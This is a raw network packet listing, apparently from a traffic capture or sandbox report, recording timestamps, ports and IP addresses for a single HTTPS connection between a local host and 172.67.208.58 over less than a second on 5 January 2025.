Jan 5, 2025 17:55:39.049118042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.049165010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.089958906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132169962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132184982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132244110 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132253885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132309914 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132473946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132491112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132590055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132597923 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132641077 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132865906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132880926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.132936954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.132942915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133002996 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133187056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133203030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133255005 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133260965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133308887 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133418083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133435011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133471012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133476973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133505106 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133510113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133524895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133529902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133550882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133584976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133867025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133882999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133920908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133934021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.133939981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133958101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.133970976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.134000063 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.134005070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.134046078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.134200096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.134215117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.134260893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.134268999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.134340048 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.220935106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.220952988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221028090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221039057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221076965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221152067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221168041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221210957 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221216917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221241951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221261024 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221517086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221565008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221579075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221584082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221611977 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221627951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.221968889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.221983910 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222024918 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222031116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222062111 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222073078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222151995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222167015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222208023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222217083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222228050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222249985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222378969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222394943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222441912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222449064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222486973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222695112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222709894 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222747087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222752094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.222779036 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222795010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.222996950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.223011971 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.223056078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.223062992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.223083019 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.223104000 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.309608936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.309628010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.309717894 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.309734106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.309787035 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.309824944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.309840918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.309895992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.309904099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310036898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.310328960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310343981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310374975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.310406923 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.310411930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310509920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.310657024 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310672998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310729027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.310734987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.310991049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311012030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311044931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311053038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311067104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311096907 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311271906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311285973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311332941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311341047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311352968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311384916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311408043 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311434031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311450005 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311455965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311482906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311501980 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311630964 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311646938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311703920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311712980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.311728001 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.311754942 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.312383890 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.312963009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398304939 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398325920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398396015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398406029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398431063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398452997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398489952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398498058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398514032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398540974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398874044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398893118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.398947954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.398956060 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399059057 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399194002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399211884 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399252892 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399259090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399293900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399302006 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399307966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399343967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399622917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399640083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399693012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399699926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399876118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399894953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399930000 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.399936914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.399957895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400015116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400091887 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400125980 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400136948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400147915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400181055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400332928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400351048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400396109 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400403023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.400430918 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400439978 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.400630951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.486440897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.486505032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.486932039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.486948013 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487005949 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.487015963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487334967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487358093 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487413883 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.487421989 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487452984 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.487565041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487622023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.487629890 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487905979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487921000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487965107 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.487972021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.487987995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488262892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488277912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488358021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488364935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488464117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488478899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488524914 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488532066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488542080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488719940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488733053 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488791943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488799095 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488809109 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488821030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488878012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.488883972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.488959074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.489392042 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575182915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575223923 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575280905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575294018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575345039 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575582027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575608969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575650930 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575659037 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.575684071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575711012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.575998068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576023102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576067924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576073885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576107025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576122046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576289892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576313019 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576349020 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576355934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576381922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576400995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576627016 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576651096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576694965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576702118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576731920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576749086 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576920033 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576940060 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.576984882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.576991081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577017069 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577037096 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577224970 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577241898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577282906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577290058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577302933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577332973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577507973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577528954 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577570915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577578068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.577598095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577630997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.577630997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.663887978 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.663913012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.663971901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.663983107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664021015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664031029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664267063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664274931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664335966 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664343119 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664542913 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664566994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664597988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664603949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664633989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664659977 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664712906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664751053 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664819002 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664828062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664910078 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.664962053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.664968014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.665009975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.665283918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.665302038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.665366888 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.665376902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666028023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666090012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666096926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666395903 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666416883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666454077 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666460991 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666486025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666511059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666716099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666739941 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666774035 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666779995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666790009 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666791916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666851997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.666858912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.666901112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.667094946 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.752513885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.752546072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.752602100 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.752615929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.752660990 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.752675056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.752949953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.752978086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753014088 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753021002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753048897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753063917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753253937 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753272057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753308058 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753314972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753345013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753357887 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753590107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753607035 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753668070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753676891 CET	443	49843	172.67.208.58	192.168.2.5
